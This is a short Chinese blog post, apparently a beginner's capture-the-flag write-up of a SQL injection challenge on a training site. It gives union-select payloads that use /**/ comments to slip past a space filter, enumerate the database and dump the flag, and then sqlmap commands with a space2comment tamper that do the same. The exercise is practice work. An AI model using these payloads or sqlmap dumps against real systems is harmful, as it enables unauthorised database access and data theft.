第二天sql注入,还是一只小白。。。
一、
1、首先输入1,没啥结果

2、输入1',和上面一样
3、输入1 '(加了空格),被禁止,于是空格不过

4、输入'or'1,出现不知道的东西

5、database()被和谐了,直接查全部
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

6、接下来查表
1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

7、字段
1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

8、值
1'/**/union/**/select/**/flag/**/from/**/flag/**/where'1'='1

(有一个神奇的地方是上次各种双写这次没有,还有一个是上次'后面有一个空格这次也没有)
二、接下来上sqlmap吧,接4
1、跳双写,查库
sqlmap -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment --dbs

2、知库查表
sqlmap -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 --tables

3、知库、表,查字段
sqlmap -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 -T flag --columns

4、知库、表、字段,查值
sqlmap -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --tamper=space2comment -D web1 -T flag -C flag --dump

完成
网友评论